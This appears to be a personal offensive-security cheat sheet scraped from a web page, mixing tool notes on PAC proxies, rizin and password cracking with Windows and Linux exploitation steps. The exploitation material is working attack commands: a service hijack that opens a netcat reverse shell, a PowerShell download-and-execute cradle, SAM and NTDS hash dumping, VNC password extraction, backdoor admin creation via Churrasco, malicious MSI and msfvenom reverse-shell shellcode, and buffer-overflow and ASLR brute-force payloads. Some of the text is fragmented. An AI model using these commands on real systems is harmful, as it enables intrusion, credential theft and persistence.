# Serves from current dir - To serve from / # $_=".$1" -> $_=-d$1?"$1/index.html":$1 perl -e '$SIG{CHLD}=IGNORE;$"=",\$f=pack+";socket+S,2,1,6;eval"setsockopt+S,@$_"for["1,2","l,1"],["1,13","ii,1,5"],["6,1","l,1"],["6,18","L,5000"],["1,21",q/"l!2",5/];bind+S,pack+snN3,2,<PORT>,unpack+N,<IP>;listen+S,5;$/="\r\n"x2;close$:while(accept$:,S),fork//1;setsockopt$:,1,20,$f;$_=".$1",$f=2<<14,map{send$:,$_,$f}"HTTP/1.1 ",open(F,"<",-d?$_.="/index.html":$_)?200:404,"\r\nContent-Type: ",'"$(perl -MSocket -e '$"=",pack+";socket+S,2,1,6;eval"setsockopt+S,@$_"for["1,13","ii,1,5"],["6,18","L,5000"],map["1,2$_",q/"l!2",5/],0,1;connect+S,sockaddr_in+80,inet_aton$_="svn.apache.org";$/="\r\n"x2;send+S,"GET /viewvc/httpd/httpd/trunk/docs/conf/mime.types?view=co HTTP/1.0\r\nHost: $_$/",0;<S>;$_=<S>;y/ /|/;s!^([^#]+?)\s+(.+)!print"/\\.($2)\$/n?\"$1\":"!gem')"'"application/octet-stream","\r\nContent-Length: ",0+-s,$/,<F>,$f=()while<$:>=~/\s([^\s?]+)/' # Allows dir traversal - Fix it with: # <$:>=~/\s((?:(?!\.\.)[^\s?])+)/ # # Opts in addition to those explained above # Sock-Level 1 -> SOL_SOCKET # Level-Opt 20 -> SO_RCVTIMEO # Sock-Level 6 -> getprotobyname("tcp") # Level-Opt 1 -> TCP_NODELAY # send flag (send(2) - bits/socket.h) # MSG_MORE -> 0x8000 -> 2<<14 # Hash version - Highest performance perl -e '$SIG{CHLD}=IGNORE;%m=("'$(perl -MSocket -e '$"=",pack+";socket+S,2,1,6;eval"setsockopt+S,@$_"for["1,13","ii,1,5"],["6,18","L,5000"],map["1,2$_",q/"l!2",5/],0,1;connect+S,sockaddr_in+80,inet_aton$_="svn.apache.org";{local$/="\r\n"x2;send+S,"GET /viewvc/httpd/httpd/trunk/docs/conf/mime.types?view=co HTTP/1.0\r\nHost: $_$/",0;<S>}($_,@_)=split,$,=qq/","$_","/,/^#/||print@_,""while<S>')'");$"=",\$d=pack+";socket+S,2,1,6;eval"setsockopt+S,@$_"for["1,2","l,1"],["1,13","ii,1,5"],["6,1","L,1"],["6,18","L,5000"],["1,21",q/"l!2",5/];bind+S,pack+snN3,2,<PORT>,unpack+N,'$(hostname -i)';listen+S,5;$/="\r\n"x2;$f=2<<14;close$:while(accept$:,S),fork//1;setsockopt$:,1,20,$d;$_=".$&",$d=$f,map{send$:,$_,$d}"HTTP/1.1 ",open(F,"<",-d?$_.="/index.html":$_)?200:404,"\r\nContent-Type: ",$m{s/.+\.//r}//"application/octet-stream","\r\nContent-Length: ",0+-s,$/,<F>,$d=()while<$:>=~/\s([^\s?]+)/' # If no internet or no Socket module, use awk '/^.$/,0{if(!/^#/&&$2){gsub(" ","|");printf"/\\.(%s)$/?\"%s\":",$2,$1}}' mime.types # In the command substitution with: # http://svn.apache.org/viewvc/httpd/httpd/trunk/docs/conf/mime.types?view=co
- Site (raw) - Native Perl PAC proxy
# Backgrounds by default -> depac --stop perl depac --wpad_file <url/file> --bind_port 8080 --log_file /dev/null # Add 127.0.0.1 to the dnsResolve func # as return string instead of () # Start a Perl server listening to 80/443
- Site - Go PAC proxy with binaries
# Able to directly parse JS pacproxy -c <url/file/js> [-l<host:port>] # -l defaults to 127.0.0.1:8080
- Site - Go PAC proxy supporting NTLM auth
# Use a PAC file, default listen on 3128 alpaca -C <uri> -d <port> # Use file:///<path> for local file # NTLM - Asks for credentials by default alpaca -d <domain> -u <user> [-H] # -H - Generate NTLM hash for the creds # Export the creds to auto-authenticate export NTLM_CREDENTIALS="<NTLM-hash>" alpaca -C <pac> -d <dom> -u <usr>
- Site - Simple Go PAC proxy
# It also servers the PAC in /pac paxy -p <port> <pac> # Only listening in 127.0.0.1 # See the readme for PAC escalability
- PowerShell to run commands remotely via sessions:
$sess = New-PSSession -Computer <computer-name> Invoke-Command -Session $sess -ScriptBlock {<command>} Copy-Item "C:\<local-path>" -Destination "C:\<remote-path>" -ToSession $sess
- Powershell executing remote scripts locally with Invoke-Expression, see more examples here
powershell.exe IEX (New-Object System.Net.WebClient).DownloadString('http://<ip>/helloworld.ps1')
- List services and their permissions:
sc query sc qc <service-name>
- Change the command they execute:
:: Launch a reverse shell: sc config <service-name> binpath= "C:\<path-to-nc>.exe -n <ip> <port> -e C:\WINDOWS\System32\cmd.exe" sc config <service-name> obj= ".\LocalSystem" password= "" :: Verify the changes sc qc <service-name>
- Start the service:
net start <service-name>
- Dump the SAM and System databases to get the hashes using
samdump2 System SAM
::: /y -> yes ; /c -> compress reg save HKLM\System C:\System reg save HKLM\SAM C:\SAM
- Software and Security:
reg save HKLM\Security C:\Security reg save HKLM\Software C:\Software
- Default:
reg save HKEY_USERS\.DEFAULT C:\DEFAULT
- NTUSER (from all users):
:: Select user ntuser hive C:\Users\<user>\NTUSER.DAT :: Try this if it doesn't work: reg load HKEY_Users\User<USER> "C:\Users\<user>\NTUSER.DAT" :: Backup NTUSER.dat reg save HKCU C:\NTUSER.DAT :: Backup UsrClass.dat reg save HKCU\Software\Classes C:\UsrClass.dat :: Note that selecting an offline user may allow funny things ntuser hive C:\Users\Default\NTUSER.DAT :: See http://smallvoid.com/article/winnt-reset-password.html
- All the Registry Transaction Logs (
.LOG
) of the hives - All the
.SAV
files - Registry Backups:
%SystemRoot%\System32\config\RegBack
- Transactional Registry Transaction Log (
.TxR
) - TODO - Find the location of:
- Amcache:
C:\Windows\AppCompat\Programs
- Restory Points
- Event log:
C:\WINDOWS\System32\winevt\logs
- Prefetch:
C:\Windows\Prefetch
(.pf
files) - Windows Error Reporting:
C:\ProgramData\Microsoft\Windows\WER\ReportArchive
- RDP cache
%USERPROFILE%\AppData\Local\Microsoft\Terminal ServerClient\Cache
- Recycle BIN:
C:\$RECYCLE.BIN
- Windows Shortcuts:
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent
- Recent Files / Most Used Files:
%USERPROFILE%\AppData\ Roaming\Microsoft\Windows\Recent\AutomaticDestinations
%USERPROFILE%\AppData\ Roaming\Microsoft\Windows\Recent\CustomDestinations
- Amcache:
- Location Cheatsheet SANS
- Site - Get NTLM hashes from NTDS.dit
secretsdump.py -ntds <ntds.dit> -system <system-hive>
- First locate the name of the folder under
Program Files
as it will match the registry name, for example:C:\Program Files\RealVNC\WinVNC4
-> MatchesRealVNC\WinVNC4
in the RegC:\Program Files\RealVNC\WinVNC
-> MatchesRealVNC\WinVNC
in the Reg
- Reference raymond.cc
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
:: Try Password as well
reg query HKEY_CURRENT_USER\Software\TightVNC\Server /v password
:: Try Password or PasswordViewOnly
reg query HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 /v password
:: Try Password
type "C:\Program Files\UltraVNC\ultravnc.ini"
:: Find it in passwd or passwd2
- Apparently it is possible to import with
certutil
the CodeSingPCA.crl files as they are CA certificates
- Site - Identify and hashcat/john id
nth --no-banner --text <hash>
- Site - Identify hashes
haiti <hash>
- Site - Custom generator from website:
cewl -d 9 -w <outlist> -e --email_file <oemailist> -a --meta_file <ometalist> <url> # -d <dep> - Scrap depth high=crash # -m <len> - Minimum word length # -o - Spider also out-scope sites # -n - Don't show the words found # -c - Show the word count # -u <UA> - Set User Agent # --proxy_host | --proxy_port # --auth_type | --auth_user/pass
- Site - Remove duplicates without sort
duplicut -l 255 <ddict> -o <udict> # -l <num> Filters len str > <num> # -p Filters non-ASCII lines
- Remove words from other dictionaries:
# Using bash/zsh pipes duplicut -l 255 <(cat <odict> <(echo "-<ndict>-") <ndict>) -o >(sed -n '/-<ndict>-/{:a;n;p;ba;}' > <cndict>) # or sed -n '/-<ndict>-/,${//!p}'
- Site - Custom wordlist generator
- In almost all cracking circumstances is better to use John/Hashcat rules
- Find lengthy examples in this post:
crunch <min-len> <max-len> -f charset.lst <setname> -t <pattern> # -o <out-file> - Save to file # # <pattern> @ substitutes -f <set> # # If NO -f, <pattern> specials are: # @ -> lower-case characters # , -> upper-case characters # % -> numbers # ^ -> symbols (space included) # Word of length 11 with symbols: crunch 11 11 -f <charset.lst> symbols-all -t Morris1984@ # -f symbols-all has no whitespace # Equivalent without -f crunch 11 11 -t Morris1984^ # ^ includes whitespace
- Tools to format to hash.john
- Tools like:
ssh2john
,rar2john
…
- Tools like:
- Best Rules - Get last KoreLogic-derived
# Include them in the ruleset sudo tee -a /etc/john/john.conf < <new.rules> >/dev/null # Find the name of all the rules awk -F':|]' '/^\[.*Rules:/{print $2}' /etc/john/john.conf | less
- Automatically detects the hash or use:
hashid -j <hash>
(-e
ask for more) - Simple usage - Crack NTLM hashes
john --format=NT --wordlist=<wordlist> <hashfile> # For NTLMv2 use: netntlmv2
- All digits from 0 to 999999 - multi-process:
john --mask='?d' --min-length=1 --max-length=6 --fork=8 <hashfile>
- Read wordlist from stdin + apply rules:
echo "test" | john --pipe --format=NT --rules=KoreLogicRules <hashfile> # Keep john interactive alt 1 (echo "test" | exec john --pipe --format=NT --rules=KoreLogicRules <hashfile>) # Keep john interactive alt 2 john --pipe --format=NT --rules=KoreLogicRules <hashfile> < <(echo "test")
- List detected OpenCL devices
optirun --no-xorg -b none -- pvkrun john --list=opencl-devices
- Run on a dedicated device:
# Note that only formats ending in # -opencl work vblank_mode=0 nice -10 optirun --no-xorg -b none -- pvkrun john --pipe --rules=All --devices=1 --format=<hashtype>-opencl <hashfile> < <(echo "test") # Obtain information pkill -USR1 john # Exit john without killing optirun pkill -INT john
- Run on multiple devices at once
# Not recommended as it doesn't # support reading from stdin nor # splits according to the # processing capabilities, unlike # hashcat vblank_mode=0 nice -10 optirun --no-xorg -b none -- pvkrun john --fork=2 --devices=1,2 --format=<hashtype>-opencl --wordlist=<wordlist> <hashfile>
- TODO - Gen dictionary with rules (see)
- Pacman - cuda - dGPU
- Pacman - intel-compute-runtime - iGPU
- AUR - intel-cpu-runtime - CPU
- AUR - hashcat-git
- AUR - hashcat-utils-git
- AUR - intel-opencl - CPU
- AUR - intel-opencl-runtime - CPU
- Pantragrule - Better and more efficient
rockyou.txt
- Optimized OneRuleToRuleThemAll
- Check the README for more rules
- KoreLogic rules
- Simple rules
- Manually extract the hashes (from
shadow
, etc) and place it into a file - Identify the hash type:
hashid -m <hash>
(-e
ask for more)- Run
john
to see if it automatically recognizes the hash
- Find the
hashcat
numeric ID for the hash type if not auto-recognized:hashcat -h | grep -i --color=always <type> | less -R
- List all back-ends to use with
-D
/-d
optirun --no-xorg -b none -- pvkrun hashcat -I
WARNING:
The-O
flag used for optimized kernels may not find the password if the salt contains emojis/non-ASCII characters- CUDA + OpenCL CPU
# Use -a 1 with multiple dicts # Use -S to optimize small dictionaries # Use -r <rule> to apply rules # Other attacks in hashcat -h end vblank_mode=0 nice -10 optirun --no-xorg -b none -- pvkrun hashcat -D1,2 -d1,4 -a 0 -m <hash-id> -O -w 4 <hash-file> <wordlist> # -D 1 -> CPU | -D 2 -> GPU # -d 1 -> CUDA | -d 4 -> OpenCL CPU # See above for issues with -O flag
- CUDA + OpenCL GPU
# Use -a 1 with multiple dicts # Use -r <rule> to apply rules # Other attacks in hashcat -h end vblank_mode=0 nice -10 optirun --no-xorg -b none -- pvkrun hashcat -D2 -d1,2 --force -a 0 -m <hash-id> -O -w 4 <hash-file> <wordlist> # -D 2 -> GPU # -d 1 -> CUDA | -d 2 -> OpenCL GPU # To use the unstable OpenCL GPU # it is required to use --force # See above for issues with -O flag
- TODO - Use masks (best performance)
- TODO - Create dictionary via rule/mask
- Many Windows tools from aluigi
- Using Aluigi vncpwd (may work on Linux):
vncpwd <hash-or-file>
- Check if the current user has impersonation permissions:
whoami /priv :: Check the SeImpersonatePrivilege :: or SeAssignPrimaryTokenPrivilege
- Service accounts usually have this ability
- Impersonating with Juicy Potato:
:: msfvenom <rev-shell>.exe JuicyPotato -l <non-used-port> -t * -p <rev-shell>.exe
- Use Chimichurri (future: new version):
:: Spawn a reverse shell on IP:PORT Chimichurri <lhost> <lport>
- Use Churraskito (
stdafx.h
included)::: Spawn a reverse shell on IP:PORT churraskito <lhost> <lport>
- Execute commands with Churrasco:
:: Usage: churrasco -d "<cmd>" churrasco -d "cmd.exe" :: Running cmd.exe is not immediate :: + may overlap with non-SYSTEM cmd :: Add backdoor user churrasco -d "net user backup backup" churrasco -d "net localgroup administrators backup /add"
- Check whether the current user can install MSI with elevated privileges:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated :: Or the machine in general reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
- Create an evil MSI:
# Shell msfvenom -p windows/shell_reverse_tcp LHOST=<local-ip> LPORT=<listening-port> EXITFUNC=thread -f msi -o shell.msi # New user msfvenom -p windows/adduser USER=backup PASS=backup -f msi -o user.msi
- Execute it:
msiexec /quiet /qn /i <file-path>.msi
- Base address randomization of loaded applications and libraries
- Check:
cat /proc/sys/kernel/randomize_va_space # 0 -> Disabled ldd <file> # Run it multiple times # Libs in different address each time
- Prevents
return to libc
- Bypass with
bruteforce-return to libc
orreturn to plt
if PIE is disabled andsystem
(or any other privesc function) is used by the binary
- Position Independent Executable / Code
- Does the same than ASLR but for the binaries address space when executed
- Check with
checksec
- Prevents
return to plt
- Bytes that, when overridden, terminate the program
- Check with
checksec
- Bypass by leaking their address
- Data Execution Prevention / No eXecute
- Prevent executing data (shellcode) from the memory (stack, heap, etc)
- Check with
checksec
- Bypass with
return to libc
- RELocation Read Only
- Makes the relocation sections used to resolve dynamically loaded functions (GOT) read-only by resolving them at beginning of execution
- Full RELRO prevents
GOT override
- Site - check the properties of binaries:
checksec --file=<file> # Multiple files: --listfile=<list> # Running process: --proc=<name> # Running proc libs: --proc-libs=<pid> # All running procs: --proc-all
- Chars generation:
# All: 0102030405060708090a... seq 255 | xargs printf '%02x' # All but 01|0a: 0203040506070809... seq 255 | awk -v ORS= '($0=sprintf("%02x",$0))!~/01|0a/' # Feed all hex as input in bash/zsh printf $(seq 255 | xargs printf '\\x%02x') # Feed some hex as input in bash/zsh printf $(seq 255 | awk -v ORS= '($0=sprintf("\\x%02x",$0))!~/01|0a/')
- Site - Python library to generate and filter bad chars
- Site - good/bad buffer char comparer
- Use
px 255 @r:SP
as “bad buffer”
- Use
- Reopen binary with all bytes as input:
# Quotes may be necessary around $() ood $("!printf $(seq 255 | xargs printf '\\\\x%02x')")
- Find bytes that made it to the stack:
# Expected output: 01020304...ff px0 255 @r:SP # Some bytes may be slightly changed # Use expdevBadChars to locate them
- Project - Docs - Official Page
- If the payload segfaults the binary it may be due to a misaligned stack:
- Either use NOPs as padding (before and after the payload)
- Or add a
ret
after the offset to IP and before the shellcode - Ref
- If the BoF happens in a forked child and
e dbg.follow.child=true
ordpc pid
don’t help, use the shell to attach:# Attach newest <bin> in debug mode # Continue proc + close fd afterwards o dbg://$(!pgrep -n <bin>); dc; o-* # Or the same from the shell rizin -c 'dc; o-*' -d $(pgrep -n <bin>)
# Set analysis region
e analysis.in=io.maps # All bin memory
e analysis.in=dbg.maps # All mapped memory
e analysis.in=range # In addr range...
e analysis.from=<addr>
e analysis.to=<addr>
# Analysis
aa # Almost-all analysis
aaa # Deeper aa (non-experimental)
aac [len] # Analyze func calls
aaf # Analyze all functions
aan[gr] # Autoname funcs: [g]o/no-[r]et
aad [len] # Analyze data refs to code
aaF # Apply signatures from sigdb
aao # Analyze all objc references
aap # Analyze func preludes
aas [len] # Analyze symbols
aaS # Analyze all sym. flags
aaT [len] # Analyze code after trap-sleds
aar [len] # Analyze xrefs in current sect
aav [sect] # Find values in sect or map
af[r] # Analyze funcs recursively
afa[l] # Analyze func args in call
afva # Local func variable/args...
afu <addr> # Analyze func until addr
pdga # Switch to rz-ghidra analyzer
# Files
o [<file>] # List fds/open new file
oi[-] [file] # Ext fd info/close by idx
oo[+] # Reopen file [in rw]
ood [args] # Reopen in debug + args
oodf [file] # Reopen debug + file
oodr [rzrun] # Reopen debug + rz-run
oC <len> # New-fd memcpy len bytes
o-<fd> # Close file by fd
o-* # Close all fds
o-! # Close all fds - selected
ox <f> <x> # Exchange fds f and x
o <file> <addr> <mode> # Map file
on <file> <addr> # Map file no rz_bin
e cmd.open=<cmd> # Run cmd after open
# File information
iI # Magic, compiler, security...
ieee # Entry and exitpoints - r2 only
is # Symbols
ii # Imports
# Strings in .data and the whole file
iz ~<grep-search>
izz # Append a `q' for less verbosity
# Fast-search the output in HUD mode
izz ~{:... # {: -> Pretty format
# {: format is recommended for HUD as
# it seems to ignore unaligned text
# HUD mode
<arrows> # Select a result
<Enter> # Seek to address
# Grep rows and cols numbers
izz ~:<row-ini>..<row-end>[<col>]
izz ~<search-term>[<col-ini>-<col-end>]
izz ~<search-term>:<row>[<col1>,<col5>]
izz ~+..<search> # i-case + less pager
# Seek to..
s `ieq` # Entrypoint (alt: entry0)
sa <align> # Alignment
sf. # Beginning of current func
sf [<func>] # Next/specific function
sr <reg> # Register
shu # Previous seek (undo)
shr # Next seek (redo)
# Show current seek position 0 padded
spad
# Debug files/processes/threads...
o dbg://<f> # Debug file/pid in new-fd
dd [<file>] # Show/open file (?)
doo [args] # Reopen file in debug mode
doof [file] # Reopen file in debug mode
dor [rzrun] # Set rz-run opts ',' sep
doc # Close debug session
dd-<fd> # Close file descriptor
dp [<pid>] # Show pid+children of pid
dpl # Show all attachable pids
dpa <pid> # Attach (and select) pid
dp=<pid> # Select pid
dpc[*] # Select/Display forked pid
dpn # Fork in a new process
dpk <p> [<s>] # Send signal <s> to <p>
dpt [<pid>] # Show threads of pid
dpt=<thrd> # Attach to thread
dptn # Clone in a new thread
e cmd.load=<cmd> # Run cmd after load
# Debug step/continue...
dsp # Step until program starts
ds [<num>] # Step one/num instructions
dso [<num>] # Step over one/num instr
dss <num> # Skip num instructions
dsu <addr> # Step until address
dsi <cond> # Step until condition
dsl [<num>] # Step one/num code lines
dsb # Step back (tracing req)
dc [<pid>] # Continue all/one pids
dcb # Continue back (tracing)
dcu <multi> # Continue until addr/range
dcr # Continue until return
dcc # Continue until call
e cmd.prompt=sr PC # Show PC on cmd prompt
# Breakpoints...
db <addr> # Create one in address
dbH <addr> # Create a hardware one
dbc <addr> <cmd> # Run command at brkp
dbn [<name>] # Show/name current breakp
db # Show defined
dbs <addr> # Toggle breakpoint
db-<addr> # Remove breakpoint
drx-<num> # Remove hardware breakp
dbts <addr> # Toggle tracing
dbt # Show backtraces
dt [<addr>] # Show traces
dts+/- # Start/Stop trace session
dtg # Show trace graph
dtgi # Interactive trace
dtsm # List trace memory-map
e cmd.bp=<cmd> # Run cmd on bp hit
e cmd.hitinfo=0 # Hide bp info when hit
# Registers...
dr= # Show in columns
dr <reg>=<val> # Set value
dr?<reg> # Show value: ? optional
dr?? # Show values + roles
drd # Show modified only
dro # Show previous values
drr # Show refs: telescoping
# ESIL setup - Rizin also has the aez* cmds
aei # Initialize ESIL VM
aeim [<addr>..] # Initialize ESIL VM stack
aeip # Init ESIL VM IP to $$
aepc <addr> # Change ESIL VM PC: Use $$
ar <reg> [=<v>] # Show/modify ESIL register
# In Panel View show ESIL registers content
e -> ar # Use Tab to change panels
e -> pxr @ SP
# ESIL display info
e emu.str=true # Display smart ESIL info
e asm.emu=true # Display verbose ESIL info
# ESIL memory variables
e emu.write=true # Allows modifying memory
e esil.fillstack=<pat> # Fill stack
e esil.stack.pattern=<pat> # with a pattern
e esil.romem=true # Make ESIL mem RO
e esil.nonull=true # Stop when null ptr rw
# ESIL analyze
aae # ESIL analyze references
aaef # aae in all functions
# ESIL step
aes # ESIL step in
aeso # ESIL step over
aesu <addr> # ESIL step until
aesuo <optype> # ESIL step until opcode_t
aesb # ESIL step back: trace req
# ESIL trace
aets # ESIL list traces
aets+ # ESIL new trace
# ESIL function
aef [<addr>] # ESIL emulate function
aefa [<addr>] # ESIL obtain func args
# Objects...
pf S @obj.<name> # Show stored string
pf p @obj.<name>+8 # Show length 64bit
# Disassemble... all accept <num> instr
pds # Call summary
pC # Print in columns
pdf # Print function
pdr # Show recursive call graph
pdg # Decompile with Ghidra
pdgd # Disassemble with Sleigh
# Disassemble configuration options:
e ghidra.verbose=false # Reduce warnings
e asm.describe=true # Explain instruction
e asm.pseudo=true # Show pseudo-assembly
e asm.decode=true # Show code analysis
# 10 bytes before + 10 after: Noted-hex
pxc 20 @ $$ - 10
# 20 bytes with text convertion in ESP
pxz 20 @ esp
# Detailed hex + jump references notes
pxr
# Locate usage of addresses (use aa)
axt [<addr>] # Refs to this address
axf [<addr>] # Refs from this address
ax. [<addr>] # Refs from/to this addr - r2
axff [<addr>] # Refs from this funct
axl ~... # All references HUD mode
axg [<addr>] # Current func call-graph
afl # List analyzed functions
aflm ~.. # List recursive func calls
afi # Verbose afl
afM # Show functions map
afo # Show function address
afx # Show functions refs
afvx # Show funcs vars refs
afvxv # Funcs local vars refs
afv # Show function variables
afvd # Funcs vars/args value
afvr # Reg-based args/locals
afvs # Stack-based args/locals
afvb # Base-pointer arg/locals
afv= # Funcs vars/args drefs
afvf # Show rel stackframe var
afbr # Func exit instr addrs
# Rename
afvn <name> [<old>] # Func arg/var
afvr <reg> <name> [t] # Reg local arg
afvs <del> <name> [t] # Stack local arg
afvb <del> <name> [t] # B-ptr local arg
# Show function parameters as arg[<n>]
e dbg.funcarg=true
# Memory maps
iSq # Sections - iS= is prettier
iSS # Mem segments
om # om= is prettier - def IO map
im # Predefined memory
dm # List current pid mem map
dmm # List modules/libraries in mem
dmh # Show heap map
dmhg # Show head graph
dmha # Show all malloc state info
dmhbg # Doubly-linked-list heap graph
dmi <lib/addr> [<sym>] # Lib symbols
dmia <lib/addr> # All lib info
# Run command on search hit
e cmd.hit=<cmd>
# Limit search results to 1
e search.maxhits=1
# Define memory location to search
e search.in=dbg.maps # Mapped dbg memory
e search.in=raw # All memory
# Gadget search (hex) in address range
/a jmp esp @( <addr-ini> <addr-end> )
# Or set default search ranges
e search.from=<addr>
e search.to=<addr>
# Fine-tune to mem types
e search.in=dbg.maps.rx
# Seek to the first search hit
s/
# Flagspace
fs search # Select search flag space
f ~{:... # All flags in space - HUD
fs * # Select all flag spaces
fN # Name of tag at point
ff [glob] # Bytes to next/match flag
f+<name> <v> # Create/set flag value
fz[-][name] # Show/New/Del flag zone
ft[-][tag] [val] # Show/New/Del tags
# Interactive option-setter view
Veq # Press _ for HUD mode fast-set
# Find the meaning of an option in HUD
ell ~{:... # {: -> Pretty format
# Remove {: to hide unaligned options
# Not possible to set values like this
# Follow forked children
e dbg.follow.child=true
# Stop execution when forked child ends
e dbg.forks=true
# Interrupt all threads if rizin stops
e dbg.threads=true
# Trace program and in a given range
e dbg.trace=true
e dbg.trace.inrange=true
dtc <from> <to>
# Don't interrupt before syscalls
e dbg.aftersyscall=false
# Run command when a syscall is hit
e cmd.onsyscall=<cmd>
# Disable ASLR (may require sudo)
e io.aslr=true
# Change endianness and architecture
e! cfg.bigendian # e! Toggles boolean
e asm.arch=<arch>
# Changes will only be done in memory
e io.cache=true
e io.pcache=true
# Show all sub-configurations of key:
es io # Display cache, pcache, aslr..
# Override memory with two Intel NOPs
wx 9090 @<location> # wxs - seek after
# Assemble override
wa "mov eax, ...;nop" # Write instructions
# Use rz-asm "mov eax, ...;nop"
# Extend write
wen <n> @<location> # Add <n> null bytes
wex <hex> @<location> # Add <hex> bytes
# Convert...
?x <str> # String to hexpairs
?x- <hexp> # Hexpair to string
?vi <expr> # Expression to decimal
?= <expr> # Expression to hex and dec
?X <expr> # Expression to hex
?v <expr> # Expression to 0x+hex
?x+ <expr> # ?v honoring endianness
?o <expr> # Expression to octal
?b <expr> # Expression to binary
? <expr> # Expression to multi-format
?u <num> # Number to human units
?p <vaddr> # Virtual to Physical addr
?P <paddr> # Physical to Virtual addr
?b64[-] <str> # String from/to base 64
# Generate...
?s <f> <t> <s> # Sequence: from-to-step
?r <f> <t> # Random number in range
# Show...
?h <str> # String hash
?l <str> # String length
?a # ASCII table
# Visual/Panels view options
e dbg.follow=true # Follow IP on step
e dbg.slow=true # Verbose dumps
e dbg.funcarg=true # Show func-call args
# Visual/Panels view commands
. # Seek to PC or entrypoint
V # Visual view (from prompt)
v # Panels view (from prompt)
V # Graph view (from visual/panels)
SPC # Switch to Graph/Panels view
! # Switch to Visual/Panels view
e # Replace panel with command
p/n # Previous/Next mode
_ # HUD view
\ # User-friendly view
d1 # Bit editor (from visual/panels)
m # Un/Select menu
c # Enable/disable cursor
b # Toggle breakpoint at cursor
A # Assemble+insert opcode at cursor
g # Seek to offset
/ # Highlight
G # Seek to highlight
n/N # Seek to next/prev func/flag/hit
1-9 # Follow jmp/call shortcut id
u/U # Undo/Redo seek
x # Show x/refs from/to data/code
r # Toggle call/jmp/lea hints
s/S # Step in/over (debug)
:dc # Debug continue
i # Insert hex
& # Toggle cache
- Execute after:
rizin <binary/pid>
# Reopen (debug) with De Bruijn input ood $(?x- $(wopD* <len> ~[1])); dc # Find De Bruijn offset at point (IP) wopO `s` # Explicit EIP reg: wopO `dr eip` # Reopen (debug) to check the offset ood "$(?x- $(wopD* <offset> ~[1]))TEST"; dc; ?x- 0x$(?x+ $(dr PC)) # TEST should appear; if TSET, try: e cfg.bigendian=1 # Change endianness e asm.arch=<arch> # See: e asm.arch=?
- Or use
rz-gg
for IP/PC control:# Generate De Bruijn string pattern rz-gg -P <len> -r # Hex: remove -r # Identify offset at address: rz-gg -q 0x<addr> # Example: rz-gg -q 0x$(rz-gg -P 100 | tail -c-9) # Output: 96 |though wrong endianness
# Set memory search location
e search.in=dbg.maps
# Limit search results to 1
e search.maxhits=1
# Assemble and search by opcode
/a jmp esp @( `dmm ~<bin>[0,1]` )
# Get address respecting endianness
?x+ hit0_0
# Find the De Bruijn offset until SP
wopO 0x`px0 4 @r:SP`
# Seek to first hit if necessary
s/
- Only possible if DEP/NX is disabled
- Send, in the input string, the payload
<IP-offset><SP-JMP><SP-offset><shcode>
- Limit the shellcode to buffer sizes:
# Make a simple exec first msfvenom -p linux/x86/exec CMD='whoami' EXITFUNC=thread -f c -b "\x<bchar1>\x<bchar2>" # rz-gg also has an exec shellcode # If only exec works, use a bash wrap # CMD='bash -c \"<cmd>\"', and base64 # (without -w 0) for file transfers # Fallback to try reading a file msfvenom -p linux/x86/read_file PATH=/etc/passwd EXITFUNC=thread -f c -b "\x<bchar1>\x<bchar2>" # Write hex payload to file with pipe # | sed -n 's/";\?//gp' | tr -d '\n' # To use as: <bin> $(printf $(cat p)) # Move to a reverse shell if it works msfvenom -p linux/x86/shell_reverse_tcp LHOST=<lip> LPORT=<lport> EXITFUNC=thread -f c -b "\x<bchars>" # Use the staged payload version if # the size surpasses the buffer limit linux/x86/shell/reverse_tcp # Try bind shell if it doesn't work # Fallback to socket-reuse payloads searchsploit -x 34060 # Or 47530 # Maybe MS linux/x86/shell_find_port? # Encode custom payloads bchars: msfvenom -p generic/custom PAYLOADSTR="<payload>" EXITFUNC=thread -f c -b "\x<bchars>" # Or from file PAYLOADFILE=<file>
- Socket-reuse tutorial
- Only feasible if PIE is disabled
- Locate libc address:
# Interpreter should be: ld-linux.so readelf -l <file> | grep interpreter # man ldd -> search for Security # Find the address ldd <file> | grep libc # Perform relocations & check missing ldd -r <file> | grep libc
- If ASLR is enabled, run
ldd
many times and note the number of altered bytes:# zsh - all possibilities for 3 bytes echo $[ 8 ** 3 ] # 512 -> 511 possibilities to fail # zsh - guesses to succeed worst case echo $[ 1 - (511.0/512) ** 3000 ]
- Get the offsets of
system
,exit
andsh
:# system and exit readelf -s <libc.so.6> | grep " system@\| exit@" # /bin/sh strings -a -t x <libc.so.6> | grep "/bin/" # /bin/sh is just a string, you can # even provide it as input to the bin
- Assemble the libc functions in rizin:
# ?x+ outputs honoring the endianness ?x+ <libc-base> + <func-offset> | sed 's/../\\x&/g' # <func-offset>: system or exit or sh # Use any libc base if enabled ASLR
- Check for badchars
- TODO Find how to encode+decode
system
,exit
and/orsh
usingrz-gg
- Overflow:
# bash/zsh - their printf convert hex <file> "$(printf "%<offset-to-ip>s<hex-system-exit-sh>\n")" # ^Uses space padding, alter if bchar # If bash/zsh are not available <file> "$(perl -e 'print "A"x<offset-to-ip>,"<hex-system-exit-sh>","\n"')" # perl is an openssl dependency # If print doesn't accept \x use: <file> "$(perl -e 'print "A"x<offset-to-ip>,(pack "H*","<hex-system-exit-sh-no-\x>"),"\n"')" # pack expects hex like: 434241 (CBA) # bash/zsh - ASLR enabled bruteforce i=0; pay="$(printf "%<offset-to-ip>s<hex-system-exit-sh>\n")"; until <file> "$pay"; do echo -e "\033[1A\033[2KTry $((++i))"; done # TODO - Find a way for parallelizing
- Requires that
system
is used in the binary - It is similar to return to libc - See
- The only difference is that one needs to find the address of
system
in the binary address, which is the same on each execution (check the PLT withrz
) - Maybe the location in the PLT?
objdump -R <file> | grep -i libc
- Making the stack writable again
- Override GOT Table
- Leaking unknown libc
- Canary, NX and PIE bypass - ROP
- Others: 1 | Bypassing ASLR: 1, 2, 3
# Look for a string related to a search
grep --binary-files=text --context=100 '<search>' <bin>
# -a -> --binary-files=text
# --context/-C - Show <n> lines bef/aft
# Show all strings in binary
strings <bin>
- Trace system calls:
strace <bin>
- Trace libraries and system calls:
ltrace <bin> # Use -S for output similar to strace
- Reference
- Range: 2.6.22 < 4.8.3, 4.7.9, 4.4.26
- Modify files with root privileges
- From adding root users to create SUID files (by modifying existing)
Kernel | Distro |
---|---|
3.2.0-113.155 | Ubuntu 12.04 LTS |
